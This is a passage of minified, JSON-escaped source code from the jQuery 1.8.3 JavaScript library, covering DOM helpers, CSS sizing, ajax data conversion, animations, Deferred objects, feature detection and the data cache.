t==\"string\"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t,r)}return v.grep(e,function(e,r){return v.inArray(e,t)\u003e=0===n})}function lt(e){var t=ct.split(\"|\"),n=e.createDocumentFragment();if(n.createElement)while(t.length)n.createElement(t.pop());return n}function Lt(e,t){return e.getElementsByTagName(t)[0]||e.appendChild(e.ownerDocument.createElement(t))}function At(e,t){if(t.nodeType!==1||!v.hasData(e))return;var n,r,i,s=v._data(e),o=v._data(t,s),u=s.events;if(u){delete o.handle,o.events={};for(n in u)for(r=0,i=u[n].length;r\u003ci;r++)v.event.add(t,n,u[n][r])}o.data\u0026\u0026(o.data=v.extend({},o.data))}function Ot(e,t){var n;if(t.nodeType!==1)return;t.clearAttributes\u0026\u0026t.clearAttributes(),t.mergeAttributes\u0026\u0026t.mergeAttributes(e),n=t.nodeName.toLowerCase(),n===\"object\"?(t.parentNode\u0026\u0026(t.outerHTML=e.outerHTML),v.support.html5Clone\u0026\u0026e.innerHTML\u0026\u0026!v.trim(t.innerHTML)\u0026\u0026(t.innerHTML=e.innerHTML)):n===\"input\"\u0026\u0026Et.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value\u0026\u0026(t.value=e.value)):n===\"option\"?t.selected=e.defaultSelected:n===\"input\"||n===\"textarea\"?t.defaultValue=e.defaultValue:n===\"script\"\u0026\u0026t.text!==e.text\u0026\u0026(t.text=e.text),t.removeAttribute(v.expando)}function Mt(e){return typeof e.getElementsByTagName!=\"undefined\"?e.getElementsByTagName(\"*\"):typeof e.querySelectorAll!=\"undefined\"?e.querySelectorAll(\"*\"):[]}function _t(e){Et.test(e.type)\u0026\u0026(e.defaultChecked=e.checked)}function Qt(e,t){if(t in e)return t;var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=Jt.length;while(i--){t=Jt[i]+n;if(t in e)return t}return r}function Gt(e,t){return e=t||e,v.css(e,\"display\")===\"none\"||!v.contains(e.ownerDocument,e)}function Yt(e,t){var n,r,i=[],s=0,o=e.length;for(;s\u003co;s++){n=e[s];if(!n.style)continue;i[s]=v._data(n,\"olddisplay\"),t?(!i[s]\u0026\u0026n.style.display===\"none\"\u0026\u0026(n.style.display=\"\"),n.style.display===\"\"\u0026\u0026Gt(n)\u0026\u0026(i[s]=v._data(n,\"olddisplay\",nn(n.nodeName)))):(r=Dt(n,\"display\"),!i[s]\u0026\u0026r!==\"none\"\u0026\u0026v._data(n,\"olddisplay\",r))}for(s=0;s\u003co;s++){n=e[s];if(!n.style)continue;if(!t||n.style.display===\"none\"||n.style.display===\"\")n.style.display=t?i[s]||\"\":\"none\"}return e}function Zt(e,t,n){var r=Rt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||\"px\"):t}function en(e,t,n,r){var i=n===(r?\"border\":\"content\")?4:t===\"width\"?1:0,s=0;for(;i\u003c4;i+=2)n===\"margin\"\u0026\u0026(s+=v.css(e,n+$t[i],!0)),r?(n===\"content\"\u0026\u0026(s-=parseFloat(Dt(e,\"padding\"+$t[i]))||0),n!==\"margin\"\u0026\u0026(s-=parseFloat(Dt(e,\"border\"+$t[i]+\"Width\"))||0)):(s+=parseFloat(Dt(e,\"padding\"+$t[i]))||0,n!==\"padding\"\u0026\u0026(s+=parseFloat(Dt(e,\"border\"+$t[i]+\"Width\"))||0));return s}function tn(e,t,n){var r=t===\"width\"?e.offsetWidth:e.offsetHeight,i=!0,s=v.support.boxSizing\u0026\u0026v.css(e,\"boxSizing\")===\"border-box\";if(r\u003c=0||r==null){r=Dt(e,t);if(r\u003c0||r==null)r=e.style[t];if(Ut.test(r))return r;i=s\u0026\u0026(v.support.boxSizingReliable||r===e.style[t]),r=parseFloat(r)||0}return r+en(e,t,n||(s?\"border\":\"content\"),i)+\"px\"}function nn(e){if(Wt[e])return Wt[e];var t=v(\"\u003c\"+e+\"\u003e\").appendTo(i.body),n=t.css(\"display\");t.remove();if(n===\"none\"||n===\"\"){Pt=i.body.appendChild(Pt||v.extend(i.createElement(\"iframe\"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write(\"\u003c!doctype html\u003e\u003chtml\u003e\u003cbody\u003e\"),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,\"display\"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+\"[\"+(typeof i==\"object\"?t:\"\")+\"]\",i,n,r)});else if(!n\u0026\u0026v.type(t)===\"object\")for(i in t)fn(e+\"[\"+i+\"]\",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!=\"string\"\u0026\u0026(n=t,t=\"*\");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u\u003ca;u++)r=o[u],s=/^\\+/.test(r),s\u0026\u0026(r=r.substr(1)||\"*\"),i=e[r]=e[r]||[],i[s?\"unshift\":\"push\"](n)}}function kn(e,n,r,i,s,o){s=s||n.dataTypes[0],o=o||{},o[s]=!0;var u,a=e[s],f=0,l=a?a.length:0,c=e===Sn;for(;f\u003cl\u0026\u0026(c||!u);f++)u=a[f](n,r,i),typeof u==\"string\"\u0026\u0026(!c||o[u]?u=t:(n.dataTypes.unshift(u),u=kn(e,n,r,i,u,o)));return(c||!u)\u0026\u0026!o[\"*\"]\u0026\u0026(u=kn(e,n,r,i,\"*\",o)),u}function Ln(e,n){var r,i,s=v.ajaxSettings.flatOptions||{};for(r in n)n[r]!==t\u0026\u0026((s[r]?e:i||(i={}))[r]=n[r]);i\u0026\u0026v.extend(!0,e,i)}function An(e,n,r){var i,s,o,u,a=e.contents,f=e.dataTypes,l=e.responseFields;for(s in l)s in r\u0026\u0026(n[l[s]]=r[s]);while(f[0]===\"*\")f.shift(),i===t\u0026\u0026(i=e.mimeType||n.getResponseHeader(\"content-type\"));if(i)for(s in a)if(a[s]\u0026\u0026a[s].test(i)){f.unshift(s);break}if(f[0]in r)o=f[0];else{for(s in r){if(!f[0]||e.converters[s+\" \"+f[0]]){o=s;break}u||(u=s)}o=o||u}if(o)return o!==f[0]\u0026\u0026f.unshift(o),r[o]}function On(e,t){var n,r,i,s,o=e.dataTypes.slice(),u=o[0],a={},f=0;e.dataFilter\u0026\u0026(t=e.dataFilter(t,e.dataType));if(o[1])for(n in e.converters)a[n.toLowerCase()]=e.converters[n];for(;i=o[++f];)if(i!==\"*\"){if(u!==\"*\"\u0026\u0026u!==i){n=a[u+\" \"+i]||a[\"* \"+i];if(!n)for(r in a){s=r.split(\" \");if(s[1]===i){n=a[u+\" \"+s[0]]||a[\"* \"+s[0]];if(n){n===!0?n=a[r]:a[r]!==!0\u0026\u0026(i=s[0],o.splice(f--,0,i));break}}}if(n!==!0)if(n\u0026\u0026e[\"throws\"])t=n(t);else try{t=n(t)}catch(l){return{state:\"parsererror\",error:n?l:\"No conversion from \"+u+\" to \"+i}}}u=i}return{state:\"success\",data:t}}function Fn(){try{return new e.XMLHttpRequest}catch(t){}}function In(){try{return new e.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(t){}}function $n(){return setTimeout(function(){qn=t},0),qn=v.now()}function Jn(e,t){v.each(t,function(t,n){var r=(Vn[t]||[]).concat(Vn[\"*\"]),i=0,s=r.length;for(;i\u003cs;i++)if(r[i].call(e,t,n))return})}function Kn(e,t,n){var r,i=0,s=0,o=Xn.length,u=v.Deferred().always(function(){delete a.elem}),a=function(){var t=qn||$n(),n=Math.max(0,f.startTime+f.duration-t),r=n/f.duration||0,i=1-r,s=0,o=f.tweens.length;for(;s\u003co;s++)f.tweens[s].run(i);return u.notifyWith(e,[f,i,n]),i\u003c1\u0026\u0026o?n:(u.resolveWith(e,[f]),!1)},f=u.promise({elem:e,props:v.extend({},t),opts:v.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:qn||$n(),duration:n.duration,tweens:[],createTween:function(t,n,r){var i=v.Tween(e,f.opts,t,n,f.opts.specialEasing[t]||f.opts.easing);return f.tweens.push(i),i},stop:function(t){var n=0,r=t?f.tweens.length:0;for(;n\u003cr;n++)f.tweens[n].run(1);return t?u.resolveWith(e,[f,t]):u.rejectWith(e,[f,t]),this}}),l=f.props;Qn(l,f.opts.specialEasing);for(;i\u003co;i++){r=Xn[i].call(f,e,l,f.opts);if(r)return r}return Jn(f,l),v.isFunction(f.opts.start)\u0026\u0026f.opts.start.call(e,f),v.fx.timer(v.extend(a,{anim:f,queue:f.opts.queue,elem:e})),f.progress(f.opts.progress).done(f.opts.done,f.opts.complete).fail(f.opts.fail).always(f.opts.always)}function Qn(e,t){var n,r,i,s,o;for(n in e){r=v.camelCase(n),i=t[r],s=e[n],v.isArray(s)\u0026\u0026(i=s[1],s=e[n]=s[0]),n!==r\u0026\u0026(e[r]=s,delete e[n]),o=v.cssHooks[r];if(o\u0026\u0026\"expand\"in o){s=o.expand(s),delete e[r];for(n in s)n in e||(e[n]=s[n],t[n]=i)}else t[r]=i}}function Gn(e,t,n){var r,i,s,o,u,a,f,l,c,h=this,p=e.style,d={},m=[],g=e.nodeType\u0026\u0026Gt(e);n.queue||(l=v._queueHooks(e,\"fx\"),l.unqueued==null\u0026\u0026(l.unqueued=0,c=l.empty.fire,l.empty.fire=function(){l.unqueued||c()}),l.unqueued++,h.always(function(){h.always(function(){l.unqueued--,v.queue(e,\"fx\").length||l.empty.fire()})})),e.nodeType===1\u0026\u0026(\"height\"in t||\"width\"in t)\u0026\u0026(n.overflow=[p.overflow,p.overflowX,p.overflowY],v.css(e,\"display\")===\"inline\"\u0026\u0026v.css(e,\"float\")===\"none\"\u0026\u0026(!v.support.inlineBlockNeedsLayout||nn(e.nodeName)===\"inline\"?p.display=\"inline-block\":p.zoom=1)),n.overflow\u0026\u0026(p.overflow=\"hidden\",v.support.shrinkWrapBlocks||h.done(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){s=t[r];if(Un.exec(s)){delete t[r],a=a||s===\"toggle\";if(s===(g?\"hide\":\"show\"))continue;m.push(r)}}o=m.length;if(o){u=v._data(e,\"fxshow\")||v._data(e,\"fxshow\",{}),\"hidden\"in u\u0026\u0026(g=u.hidden),a\u0026\u0026(u.hidden=!g),g?v(e).show():h.done(function(){v(e).hide()}),h.done(function(){var t;v.removeData(e,\"fxshow\",!0);for(t in d)v.style(e,t,d[t])});for(r=0;r\u003co;r++)i=m[r],f=h.createTween(i,g?u[i]:0),d[i]=u[i]||v.style(e,i),i in u||(u[i]=f.start,g\u0026\u0026(f.end=f.start,f.start=i===\"width\"||i===\"height\"?1:0))}}function Yn(e,t,n,r,i){return new Yn.prototype.init(e,t,n,r,i)}function Zn(e,t){var n,r={height:e},i=0;t=t?1:0;for(;i\u003c4;i+=2-t)n=$t[i],r[\"margin\"+n]=r[\"padding\"+n]=e;return t\u0026\u0026(r.opacity=r.width=e),r}function tr(e){return v.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:!1}var n,r,i=e.document,s=e.location,o=e.navigator,u=e.jQuery,a=e.$,f=Array.prototype.push,l=Array.prototype.slice,c=Array.prototype.indexOf,h=Object.prototype.toString,p=Object.prototype.hasOwnProperty,d=String.prototype.trim,v=function(e,t){return new v.fn.init(e,t,n)},m=/[\\-+]?(?:\\d*\\.|)\\d+(?:[eE][\\-+]?\\d+|)/.source,g=/\\S/,y=/\\s+/,b=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g,w=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,E=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e|)$/,S=/^[\\],:{}\\s]*$/,x=/(?:^|:|,)(?:\\s*\\[)+/g,T=/\\\\(?:[\"\\\\\\/bfnrt]|u[\\da-fA-F]{4})/g,N=/\"[^\"\\\\\\r\\n]*\"|true|false|null|-?(?:\\d\\d*\\.|)\\d+(?:[eE][\\-+]?\\d+|)/g,C=/^-ms-/,k=/-([\\da-z])/gi,L=function(e,t){return(t+\"\").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener(\"DOMContentLoaded\",A,!1),v.ready()):i.readyState===\"complete\"\u0026\u0026(i.detachEvent(\"onreadystatechange\",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e==\"string\"){e.charAt(0)===\"\u003c\"\u0026\u0026e.charAt(e.length-1)===\"\u003e\"\u0026\u0026e.length\u003e=3?s=[null,e,null]:s=w.exec(e);if(s\u0026\u0026(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n\u0026\u0026n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])\u0026\u0026v.isPlainObject(n)\u0026\u0026this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o\u0026\u0026o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t\u0026\u0026(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:\"\",jquery:\"1.8.3\",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e\u003c0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t===\"find\"?r.selector=this.selector+(this.selector?\" \":\"\")+n:t\u0026\u0026(r.selector=this.selector+\".\"+t+\"(\"+n+\")\"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),\"slice\",l.call(arguments).join(\",\"))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u==\"boolean\"\u0026\u0026(l=u,u=arguments[1]||{},a=2),typeof u!=\"object\"\u0026\u0026!v.isFunction(u)\u0026\u0026(u={}),f===a\u0026\u0026(u=this,--a);for(;a\u003cf;a++)if((e=arguments[a])!=null)for(n in e){r=u[n],i=e[n];if(u===i)continue;l\u0026\u0026i\u0026\u0026(v.isPlainObject(i)||(s=v.isArray(i)))?(s?(s=!1,o=r\u0026\u0026v.isArray(r)?r:[]):o=r\u0026\u0026v.isPlainObject(r)?r:{},u[n]=v.extend(l,o,i)):i!==t\u0026\u0026(u[n]=i)}return u},v.extend({noConflict:function(t){return e.$===v\u0026\u0026(e.$=a),t\u0026\u0026e.jQuery===v\u0026\u0026(e.jQuery=u),v},isReady:!1,readyWait:1,holdReady:function(e){e?v.readyWait++:v.ready(!0)},ready:function(e){if(e===!0?--v.readyWait:v.isReady)return;if(!i.body)return setTimeout(v.ready,1);v.isReady=!0;if(e!==!0\u0026\u0026--v.readyWait\u003e0)return;r.resolveWith(i,[v]),v.fn.trigger\u0026\u0026v(i).trigger(\"ready\").off(\"ready\")},isFunction:function(e){return v.type(e)===\"function\"},isArray:Array.isArray||function(e){return v.type(e)===\"array\"},isWindow:function(e){return e!=null\u0026\u0026e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))\u0026\u0026isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||\"object\"},isPlainObject:function(e){if(!e||v.type(e)!==\"object\"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor\u0026\u0026!p.call(e,\"constructor\")\u0026\u0026!p.call(e.constructor.prototype,\"isPrototypeOf\"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!=\"string\"?null:(typeof t==\"boolean\"\u0026\u0026(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!=\"string\")return null;t=v.trim(t);if(e.JSON\u0026\u0026e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,\"@\").replace(N,\"]\").replace(x,\"\")))return(new Function(\"return \"+t))();v.error(\"Invalid JSON: \"+t)},parseXML:function(n){var r,i;if(!n||typeof n!=\"string\")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,\"text/xml\")):(r=new ActiveXObject(\"Microsoft.XMLDOM\"),r.async=\"false\",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName(\"parsererror\").length)\u0026\u0026v.error(\"Invalid XML: \"+n),r},noop:function(){},globalEval:function(t){t\u0026\u0026g.test(t)\u0026\u0026(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,\"ms-\").replace(k,L)},nodeName:function(e,t){return e.nodeName\u0026\u0026e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s\u003co;)if(n.apply(e[s++],r)===!1)break}else if(u){for(i in e)if(n.call(e[i],i,e[i])===!1)break}else for(;s\u003co;)if(n.call(e[s],s,e[s++])===!1)break;return e},trim:d\u0026\u0026!d.call(\"\\ufeff\\u00a0\")?function(e){return e==null?\"\":d.call(e)}:function(e){return e==null?\"\":(e+\"\").replace(b,\"\")},makeArray:function(e,t){var n,r=t||[];return e!=null\u0026\u0026(n=v.type(e),e.length==null||n===\"string\"||n===\"function\"||n===\"regexp\"||v.isWindow(e)?f.call(r,e):v.merge(r,e)),r},inArray:function(e,t,n){var r;if(t){if(c)return c.call(t,e,n);r=t.length,n=n?n\u003c0?Math.max(0,r+n):n:0;for(;n\u003cr;n++)if(n in t\u0026\u0026t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,s=0;if(typeof r==\"number\")for(;s\u003cr;s++)e[i++]=n[s];else while(n[s]!==t)e[i++]=n[s++];return e.length=i,e},grep:function(e,t,n){var r,i=[],s=0,o=e.length;n=!!n;for(;s\u003co;s++)r=!!t(e[s],s),n!==r\u0026\u0026i.push(e[s]);return i},map:function(e,n,r){var i,s,o=[],u=0,a=e.length,f=e instanceof v||a!==t\u0026\u0026typeof a==\"number\"\u0026\u0026(a\u003e0\u0026\u0026e[0]\u0026\u0026e[a-1]||a===0||v.isArray(e));if(f)for(;u\u003ca;u++)i=n(e[u],u,r),i!=null\u0026\u0026(o[o.length]=i);else for(s in e)i=n(e[s],s,r),i!=null\u0026\u0026(o[o.length]=i);return o.concat.apply([],o)},guid:1,proxy:function(e,n){var r,i,s;return typeof n==\"string\"\u0026\u0026(r=e[n],n=e,e=r),v.isFunction(e)?(i=l.call(arguments,2),s=function(){return e.apply(n,i.concat(l.call(arguments)))},s.guid=e.guid=e.guid||v.guid++,s):t},access:function(e,n,r,i,s,o,u){var a,f=r==null,l=0,c=e.length;if(r\u0026\u0026typeof r==\"object\"){for(l in r)v.access(e,n,l,r[l],1,o,i);s=1}else if(i!==t){a=u===t\u0026\u0026v.isFunction(i),f\u0026\u0026(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l\u003cc;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise=function(t){if(!r){r=v.Deferred();if(i.readyState===\"complete\")setTimeout(v.ready,1);else if(i.addEventListener)i.addEventListener(\"DOMContentLoaded\",A,!1),e.addEventListener(\"load\",v.ready,!1);else{i.attachEvent(\"onreadystatechange\",A),e.attachEvent(\"onload\",v.ready);var n=!1;try{n=e.frameElement==null\u0026\u0026i.documentElement}catch(s){}n\u0026\u0026n.doScroll\u0026\u0026function o(){if(!v.isReady){try{n.doScroll(\"left\")}catch(e){return setTimeout(o,50)}v.ready()}}()}}return r.promise(t)},v.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(e,t){O[\"[object \"+t+\"]\"]=t.toLowerCase()}),n=v(i);var M={};v.Callbacks=function(e){e=typeof e==\"string\"?M[e]||_(e):v.extend({},e);var n,r,i,s,o,u,a=[],f=!e.once\u0026\u0026[],l=function(t){n=e.memory\u0026\u0026t,r=!0,u=s||0,s=0,o=a.length,i=!0;for(;a\u0026\u0026u\u003co;u++)if(a[u].apply(t[0],t[1])===!1\u0026\u0026e.stopOnFalse){n=!1;break}i=!1,a\u0026\u0026(f?f.length\u0026\u0026l(f.shift()):n?a=[]:c.disable())},c={add:function(){if(a){var t=a.length;(function r(t){v.each(t,function(t,n){var i=v.type(n);i===\"function\"?(!e.unique||!c.has(n))\u0026\u0026a.push(n):n\u0026\u0026n.length\u0026\u0026i!==\"string\"\u0026\u0026r(n)})})(arguments),i?o=a.length:n\u0026\u0026(s=t,l(n))}return this},remove:function(){return a\u0026\u0026v.each(arguments,function(e,t){var n;while((n=v.inArray(t,a,n))\u003e-1)a.splice(n,1),i\u0026\u0026(n\u003c=o\u0026\u0026o--,n\u003c=u\u0026\u0026u--)}),this},has:function(e){return v.inArray(e,a)\u003e-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a\u0026\u0026(!r||f)\u0026\u0026(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[[\"resolve\",\"done\",v.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",v.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",v.Callbacks(\"memory\")]],n=\"pending\",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e\u0026\u0026v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+\"With\"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u\u0026\u0026o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+\"With\"]=o.fireWith}),r.promise(i),e\u0026\u0026e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e\u0026\u0026v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length\u003e1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r\u003e1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t\u003cr;t++)n[t]\u0026\u0026v.isFunction(n[t].promise)?n[t].promise().done(o(t,f,n)).fail(s.reject).progress(o(t,a,u)):--i}return i||s.resolveWith(f,n),s.promise()}}),v.support=function(){var t,n,r,s,o,u,a,f,l,c,h,p=i.createElement(\"div\");p.setAttribute(\"className\",\"t\"),p.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",n=p.getElementsByTagName(\"*\"),r=p.getElementsByTagName(\"a\")[0];if(!n||!r||!n.length)return{};s=i.createElement(\"select\"),o=s.appendChild(i.createElement(\"option\")),u=p.getElementsByTagName(\"input\")[0],r.style.cssText=\"top:1px;float:left;opacity:.5\",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName(\"tbody\").length,htmlSerialize:!!p.getElementsByTagName(\"link\").length,style:/top/.test(r.getAttribute(\"style\")),hrefNormalized:r.getAttribute(\"href\")===\"/a\",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value===\"on\",optSelected:o.selected,getSetAttribute:p.className!==\"t\",enctype:!!i.createElement(\"form\").enctype,html5Clone:i.createElement(\"nav\").cloneNode(!0).outerHTML!==\"\u003c:nav\u003e\u003c/:nav\u003e\",boxModel:i.compatMode===\"CSS1Compat\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener\u0026\u0026p.attachEvent\u0026\u0026p.fireEvent\u0026\u0026(p.attachEvent(\"onclick\",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent(\"onclick\"),p.detachEvent(\"onclick\",h)),u=i.createElement(\"input\"),u.value=\"t\",u.setAttribute(\"type\",\"radio\"),t.radioValue=u.value===\"t\",u.setAttribute(\"checked\",\"checked\"),u.setAttribute(\"name\",\"t\"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f=\"on\"+l,c=f in p,c||(p.setAttribute(f,\"return;\"),c=typeof p[f]==\"function\"),t[l+\"Bubbles\"]=c;return v(function(){var n,r,s,o,u=\"padding:0;margin:0;border:0;display:block;overflow:hidden;\",a=i.getElementsByTagName(\"body\")[0];if(!a)return;n=i.createElement(\"div\"),n.style.cssText=\"visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px\",a.insertBefore(n,a.firstChild),r=i.createElement(\"div\"),n.appendChild(r),r.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",s=r.getElementsByTagName(\"td\"),s[0].style.cssText=\"padding:0;margin:0;border:0;display:none\",c=s[0].offsetHeight===0,s[0].style.display=\"\",s[1].style.display=\"none\",t.reliableHiddenOffsets=c\u0026\u0026s[0].offsetHeight===0,r.innerHTML=\"\",r.style.cssText=\"box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;\",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle\u0026\u0026(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!==\"1%\",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:\"4px\"}).width===\"4px\",o=i.createElement(\"div\"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width=\"0\",r.style.width=\"1px\",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!=\"undefined\"\u0026\u0026(r.innerHTML=\"\",r.style.cssText=u+\"width:1px;padding:1px;display:inline;zoom:1\",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display=\"block\",r.style.overflow=\"visible\",r.innerHTML=\"\u003cdiv\u003e\u003c/div\u003e\",r.firstChild.style.width=\"5px\",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\\{[\\s\\S]*\\}|\\[[\\s\\S]*\\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:\"jQuery\"+(v.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e\u0026\u0026!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n==\"string\",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]\u0026\u0026u;if((!c||!l[c]||!i\u0026\u0026!l[c].data)\u0026\u0026a\u0026\u0026r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n==\"object\"||typeof n==\"function\")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t\u0026\u0026(s[v.camelCase(n)]=r),a?(o=s[n],o==null\u0026\u0026(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in 